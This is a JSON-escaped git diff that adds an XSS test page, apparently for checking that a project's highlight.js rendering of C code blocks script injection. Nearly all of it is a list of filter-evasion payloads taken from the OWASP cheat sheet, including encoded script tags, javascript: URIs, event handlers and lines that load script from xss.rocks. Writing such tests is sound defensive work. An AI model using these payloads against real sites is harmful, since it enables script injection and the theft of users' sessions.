\n+\u0026#X0003C;script\u003ealert(\u0022xss\u0022);\u003c/script\u003e\n+\u0026#X00003C;script\u003ealert(\u0022xss\u0022);\u003c/script\u003e\n+\u0026#X000003C;script\u003ealert(\u0022xss\u0022);\u003c/script\u003e\n+\u005cx3cscript\u003ealert(\u0022xss\u0022);\u003c/script\u003e\n+\u005cx3Cscript\u003ealert(\u0022xss\u0022);\u003c/script\u003e\n+\u005cu003cscript\u003ealert(\u0022xss\u0022);\u003c/script\u003e\n+\u005cu003Cscript\u003ealert(\u0022xss\u0022);\u003c/script\u003e\n+\ndiff --git a/xss/xss.c b/xss/xss.c\nnew file mode 100644\nindex 0000000..e70e1b4\n--- /dev/null\n+++ b/xss/xss.c\n@@ -0,0 +1,170 @@\n+## XSS testing\n+\n+The pages in this dir try to smuggle script execution into the stuff\n+rendered in your browser in various ways.\n+\n+Unfortunately there are a LOT of ways modern browsers will let you do\n+that. Here we try a bunch of them and see if we are successful in\n+defeating them. The attack methods came from\n+\n+https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet\n+\n+You should not get any alert popups on this page.\n+\n+This page is checking highlight.js rendering for C.\n+\n+\u003c\u003c\u003c\n+\n+https://\u0022 onmouseover\u003d\u0022\u003cscript\u003ealert('xss/README.md: onmouseover in anonymous link')\u003c/script\u003e\u0022\n+\u003cscript\u003ealert(\u0022xss/README.md: trivial script\u0022);\u003c/script\u003e\n+\n+x \u003ca name\u003d\u0022n\u0022\n+href\u003d\u0022javascript:alert('xss/README.md: js in a href')\u0022\u003eclick me\u003c/a\u003e\n+\n+## \u003cscript\u003ealert(\u0022xss/README.md: trivial script in header\u0022);\u003c/script\u003e\n+## javascript:alert('xss/README.md: js: in header')\n+\n+javascript:/*--\u003e\u003c/title\u003e\u003c/style\u003e\u003c/textarea\u003e\u003c/script\u003e\u003c/xmp\u003e\u003csvg/onload\u003d'+/\u0022/+/onmouseover\u003d1/+/[*/[]/+alert(1)//'\u003e\n+\u003cIMG SRC\u003d\u0022javascript:alert('XSS');\u0022\u003e\n+\u003cIMG SRC\u003djavascript:alert('XSS')\u003e\n+\u003cIMG SRC\u003dJaVaScRiPt:alert('XSS')\u003e\n+\u003cIMG SRC\u003djavascript:alert(\u0026quot;XSS\u0026quot;)\u003e\n+\u003cIMG SRC\u003d`javascript:alert(\u0022RSnake says, 'XSS'\u0022)`\u003e\n+\u003cIMG \u0022\u0022\u0022\u003e\u003cSCRIPT\u003ealert(\u0022XSS\u0022)\u003c/SCRIPT\u003e\u0022\u003e\n+\u003cIMG SRC\u003djavascript:alert(String.fromCharCode(88,83,83))\u003e\n+\u003cIMG SRC\u003d# onmouseover\u003d\u0022alert('xxs')\u0022\u003e\n+\u003cIMG SRC\u003d onmouseover\u003d\u0022alert('xxs')\u0022\u003e\n+\u003cIMG onmouseover\u003d\u0022alert('xxs')\u0022\u003e\n+\u003cIMG SRC\u003d/ onerror\u003d\u0022alert(String.fromCharCode(88,83,83))\u0022\u003e\u003c/img\u003e\n+\u003cimg src\u003dx onerror\u003d\u0022\u0026#0000106\u0026#0000097\u0026#0000118\u0026#0000097\u0026#0000115\u0026#0000099\u0026#0000114\u0026#0000105\u0026#0000112\u0026#0000116\u0026#0000058\u0026#0000097\u0026#0000108\u0026#0000101\u0026#0000114\u0026#0000116\u0026#0000040\u0026#0000039\u0026#0000088\u0026#0000083\u0026#0000083\u0026#0000039\u0026#0000041\u0022\u003e\n+\u003cIMG SRC\u003d\u0026#106;\u0026#97;\u0026#118;\u0026#97;\u0026#115;\u0026#99;\u0026#114;\u0026#105;\u0026#112;\u0026#116;\u0026#58;\u0026#97;\u0026#108;\u0026#101;\u0026#114;\u0026#116;\u0026#40;\n+\u0026#39;\u0026#88;\u0026#83;\u0026#83;\u0026#39;\u0026#41;\u003e\n+\u003cIMG SRC\u003d\u0026#0000106\u0026#0000097\u0026#0000118\u0026#0000097\u0026#0000115\u0026#0000099\u0026#0000114\u0026#0000105\u0026#0000112\u0026#0000116\u0026#0000058\u0026#0000097\u0026\n+#0000108\u0026#0000101\u0026#0000114\u0026#0000116\u0026#0000040\u0026#0000039\u0026#0000088\u0026#0000083\u0026#0000083\u0026#0000039\u0026#0000041\u003e\n+\u003cIMG SRC\u003d\u0026#x6A\u0026#x61\u0026#x76\u0026#x61\u0026#x73\u0026#x63\u0026#x72\u0026#x69\u0026#x70\u0026#x74\u0026#x3A\u0026#x61\u0026#x6C\u0026#x65\u0026#x72\u0026#x74\u0026#x28\u0026#x27\u0026#x58\u0026#x53\u0026#x53\u0026#x27\u0026#x29\u003e\n+\u003cIMG SRC\u003d\u0022jav\tascript:alert('XSS');\u0022\u003e\n+\u003cIMG SRC\u003d\u0022jav\u0026#x09;ascript:alert('XSS');\u0022\u003e\n+\u003cIMG SRC\u003d\u0022jav\u0026#x0A;ascript:alert('XSS');\u0022\u003e\n+\u003cIMG SRC\u003d\u0022jav\u0026#x0D;ascript:alert('XSS');\u0022\u003e\n+\u003cIMG SRC\u003d\u0022 \u0026#14; javascript:alert('XSS');\u0022\u003e\n+\u003cSCRIPT/XSS SRC\u003d\u0022http://xss.rocks/xss.js\u0022\u003e\u003c/SCRIPT\u003e\n+\u003cBODY onload!#$%\u0026()*~+-_.,:;?@[/|\u005c]^`\u003dalert(\u0022XSS\u0022)\u003e\n+\u003cSCRIPT/SRC\u003d\u0022http://xss.rocks/xss.js\u0022\u003e\u003c/SCRIPT\u003e\n+\u003c\u003cSCRIPT\u003ealert(\u0022XSS\u0022);//\u003c\u003c/SCRIPT\u003e\n+\u003cSCRIPT SRC\u003dhttp://xss.rocks/xss.js?\u003c B \u003e\n+\u003cSCRIPT SRC\u003d//xss.rocks/.j\u003e\n+\u003cIMG SRC\u003d\u0022javascript:alert('XSS')\u0022\n+\u003ciframe src\u003dhttp://xss.rocks/scriptlet.html \u003c\n+\u005c\u0022;alert('XSS');//\n+\u003c/script\u003e\u003cscript\u003ealert('XSS');\u003c/script\u003e\n+\u003cINPUT TYPE\u003d\u0022IMAGE\u0022 SRC\u003d\u0022javascript:alert('XSS');\u0022\u003e\n+\u003cBODY BACKGROUND\u003d\u0022javascript:alert('XSS')\u0022\u003e\n+\u003cIMG DYNSRC\u003d\u0022javascript:alert('XSS')\u0022\u003e\n+\u003cIMG LOWSRC\u003d\u0022javascript:alert('XSS')\u0022\u003e\n+\u003cSTYLE\u003eli {list-style-image: url(\u0022javascript:alert('XSS')\u0022);}\u003c/STYLE\u003e\u003cUL\u003e\u003cLI\u003eXSS\u003c/br\u003e\n+\u003cIMG SRC\u003d'vbscript:msgbox(\u0022XSS\u0022)'\u003e\n+\u003csvg/onload\u003dalert('XSS')\u003e\n+Set.constructor`alert\u005cx28document.domain\u005cx29```\n+\n+\u003cBODY ONLOAD\u003dalert('XSS')\u003e\n+\n+\u003cBGSOUND SRC\u003d\u0022javascript:alert('XSS');\u0022\u003e\n+\u003cBR SIZE\u003d\u0022\u0026{alert('XSS')}\u0022\u003e\n+\u003cLINK REL\u003d\u0022stylesheet\u0022 HREF\u003d\u0022javascript:alert('XSS');\u0022\u003e\n+\u003cIMG STYLE\u003d\u0022xss:expr/*XSS*/ession(alert('XSS'))\u0022\u003e\n+\u003cXSS STYLE\u003d\u0022xss:expression(alert('XSS'))\u0022\u003e\n+\n+¼script¾alert(¢XSS¢)¼/script¾\n+\n+\u003cMETA HTTP-EQUIV\u003d\u0022refresh\u0022 CONTENT\u003d\u00220;url\u003djavascript:alert('XSS');\u0022\u003e\n+\n+\u003cMETA HTTP-EQUIV\u003d\u0022refresh\u0022 CONTENT\u003d\u00220;url\u003ddata:text/html base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K\u0022\u003e\n+\u003c!--[if gte IE 4]\u003e\n+ \u003cSCRIPT\u003ealert('XSS');\u003c/SCRIPT\u003e\n+ \u003c![endif]--\u003e\n+\n+ \u003cOBJECT TYPE\u003d\u0022text/x-scriptlet\u0022 DATA\u003d\u0022http://xss.rocks/scriptlet.html\u0022\u003e\u003c/OBJECT\u003e\n+\n+\u003cEMBED SRC\u003d\u0022data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg\u003d\u003d\u0022 type\u003d\u0022image/svg+xml\u0022 AllowScriptAccess\u003d\u0022always\u0022\u003e\u003c/EMBED\u003e\n+\n+\n+\u003cHTML\u003e\u003cBODY\u003e\n+\u003c?xml:namespace prefix\u003d\u0022t\u0022 ns\u003d\u0022urn:schemas-microsoft-com:time\u0022\u003e\n+\u003c?import namespace\u003d\u0022t\u0022 implementation\u003d\u0022#default#time2\u0022\u003e\n+\u003ct:set attributeName\u003d\u0022innerHTML\u0022 to\u003d\u0022XSS\u003cSCRIPT DEFER\u003ealert(\u0022XSS\u0022)\u003c/SCRIPT\u003e\u0022\u003e\n+\u003c/BODY\u003e\u003c/HTML\u003e\n+\n+ \u003cHEAD\u003e\u003cMETA HTTP-EQUIV\u003d\u0022CONTENT-TYPE\u0022 CONTENT\u003d\u0022text/html; charset\u003dUTF-7\u0022\u003e \u003c/HEAD\u003e+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-\n+\n+\u003cSCRIPT a\u003d\u0022\u003e\u0022 SRC\u003d\u0022httx://xss.rocks/xss.js\u0022\u003e\u003c/SCRIPT\u003e\n+\u003cscript\u003ealert(\u0022xss\u0022);\u003c/script\u003e\n+%3Cscript\u003ealert(\u0022xss\u0022);\u003c/script\u003e\n+\u0026ltscript\u003ealert(\u0022xss\u0022);\u003c/script\u003e\n+\u0026lt;script\u003ealert(\u0022xss\u0022);\u003c/script\u003e\n+\u0026LTscript\u003ealert(\u0022xss\u0022);\u003c/script\u003e\n+\u0026LT;script\u003ealert(\u0022xss\u0022);\u003c/script\u003e\n+\u0026#60script\u003ealert(\u0022xss\u0022);\u003c/script\u003e\n+\u0026#060script\u003ealert(\u0022xss\u0022);\u003c/script\u003e\n+\u0026#0060script\u003ealert(\u0022xss\u0022);\u003c/script\u003e\n+\u0026#00060script\u003ealert(\u0022xss\u0022);\u003c/script\u003e\n+\u0026#000060script\u003ealert(\u0022xss\u0022);\u003c/script\u003e\n+\u0026#0000060script\u003ealert(\u0022xss\u0022);\u003c/script\u003e\n+\u0026#60;script\u003ealert(\u0022xss\u0022);\u003c/script\u003e\n+\u0026#060;script\u003ealert(\u0022xss\u0022);\u003c/script\u003e\n+\u0026#0060;script\u003ealert(\u0022xss\u0022);\u003c/script\u003e\n+\u0026#00060;script\u003ealert(\u0022xss\u0022);\u003c/script\u003e\n+\u0026#000060;script\u003ealert(\u0022xss\u0022);\u003c/script\u003e\n+\u0026#0000060;script\u003ealert(\u0022xss\u0022);\u003c/script\u003e\n+\u0026#x3cscript\u003ealert(\u0022xss\u0022);\u003c/script\u003e\n+\u0026#x03cscript\u003ealert(\u0022xss\u0022);\u003c/script\u003e\n+\u0026#x003cscript\u003ealert(\u0022xss\u0022);\u003c/script\u003e\n+\u0026#x0003cscript\u003ealert(\u0022xss\u0022);\u003c/script\u003e\n+\u0026#x00003cscript\u003ealert(\u0022xss\u0022);\u003c/script\u003e\n+\u0026#x000003cscript\u003ealert(\u0022xss\u0022);\u003c/script\u003e\n+\u0026#x3c;script\u003ealert(\u0022xss\u0022);\u003c/script\u003e\n+\u0026#x03c;script\u003ealert(\u0022xss\u0022);\u003c/script\u003e\n+\u0026#x003c;script\u003ealert(\u0022xss\u0022);\u003c/script\u003e\n+\u0026#x0003c;script\u003ealert(\u0022xss\u0022);\u003c/script\u003e\n+\u0026#x00003c;script\u003ealert(\u0022xss\u0022);\u003c/script\u003e\n+\u0026#x000003c;script\u003ealert(\u0022xss\u0022);\u003c/script\u003e\n+\u0026#X3cscript\u003ealert(\u0022xss\u0022);\u003c/script\u003e\n+\u0026#X03cscript\u003ealert(\u0022xss\u0022);\u003c/script\u003e\n+\u0026#X003cscript\u003ealert(\u0022xss\u0022);\u003c/script\u003e\n+\u0026#X0003cscript\u003ealert(\u0022xss\u0022);\u003c/script\u003e\n+\u0026#X00003cscript\u003ealert(\u0022xss\u0022);\u003c/script\u003e\n+\u0026#X000003cscript\u003ealert(\u0022xss\u0022);\u003c/script\u003e\n+\u0026#X3c;script\u003ealert(\u0022xss\u0022);\u003c/script\u003e\n+\u0026#X03c;script\u003ealert(\u0022xss\u0022);\u003c/script\u003e\n+\u0026#X003c;script\u003ealert(\u0022xss\u0022);\u003c/script\u003e\n+\u0026#X0003c;script\u003ealert(\u0022xss\u0022);\u003c/script\u003e\n+\u0026#X00003c;script\u003ealert(\u0022xss\u0022);\u003c/script\u003e\n+\u0026#X000003c;script\u003ealert(\u0022xss\u0022);\u003c/script\u003e\n+\u0026#x3Cscript\u003ealert(\u0022xss\u0022);\u003c/script\u003e\n+\u0026#x03Cscript\u003ealert(\u0022xss\u0022);\u003c/script\u003e\n+\u0026#x003Cscript\u003ealert(\u0022xss\u0022);\u003c/script\u003e\n+\u0026#x0003Cscript\u003ealert(\u0022xss\u0022);\u003c/script\u003e\n+\u0026#x00003Cscript\u003ealert(\u0022xss\u0022);\u003c/script\u003e\n+\u0026#x000003Cscript\u003ealert(\u0022xss\u0022);\u003c/script\u003e\n+\u0026#x3C;script\u003ealert(\u0022xss\u0022);\u003c/script\u003e\n+\u0026#x03C;script\u003ealert(\u0022xss\u0022);\u003c/script\u003e\n+\u0026#x003C;script\u003ealert(\u0022xss\u0022);\u003c/script\u003e\n+\u0026#x0003C;script\u003ealert(\u0022xss\u0022);\u003c/script\u003e\n+\u0026#x00003C;script\u003ealert(\u0022xss\u0022);\u003c/script\u003e\n+\u0026#x000003C;script\u003ealert(\u0022xss\u0022);\u003c/script\u003e\n+\u0026#X3Cscript\u003ealert(\u0022xss\u0022);\u003c/script\u003e\n+\u0026#X03Cscript\u003ealert(\u0022xss\u0022);\u003c/script\u003e\n+\u0026#X003Cscript\u003ealert(\u0022xss\u0022);\u003c/script\u003e\n+\u0026#X0003Cscript\u003ealert(\u0022xss\u0022);\u003c/script\u003e\n+\u0026#X00003Cscript\u003ealert(\u0022xss\u0022);\u003c/script\u003e\n+\u0026#X000003Cscript\u003ealert(\u0022xss\u0022);\u003c/script\u003e\n+\u0026#X3C;script\u003ealert(\u0022xss\u0022);\u003c/script\u003e\n+\u0026#X03C;script\u003ealert(\u0022xss\u0022);\u003c/script\u003e\n+\u0026#X003C;script\u003ealert(\u0022xss\u0022);\u003c/script\u003e\n+\u0026#X0003C;script\u003ealert(\u0022xss\u0022);\u003c/script\u003e\n+\u0026#X00003C;script\u003ealert(\u0022xss\u0022);\u003c/script\u003e\n+\u0026#X000003C;script\u003ealert(\u0022xss\u0022);\u003c/script\u003e\n+\u005cx3cscript\u003ealert(\u0022xss\u0022);\u003c/script\u003e\n+\u005cx3Cscript\u003ealert(\u0022xss\u0022);\u003c/script\u003e\n+\u005cu003cscript\u003ealert(\u0022xss\u0022);\u003c/script\u003e\n+\u005cu003Cscript\u003ealert(\u0022xss\u0022);\u003c/script\u003e\n+\n","s":{"c":1745319820,"u": 45403}}
],"g": 363491,"chitpc": 0,"ehitpc": 0,"indexed":0
,
"ab": 0, "si": 0, "db":0, "di":0, "sat":0, "lfc": "7d0a"}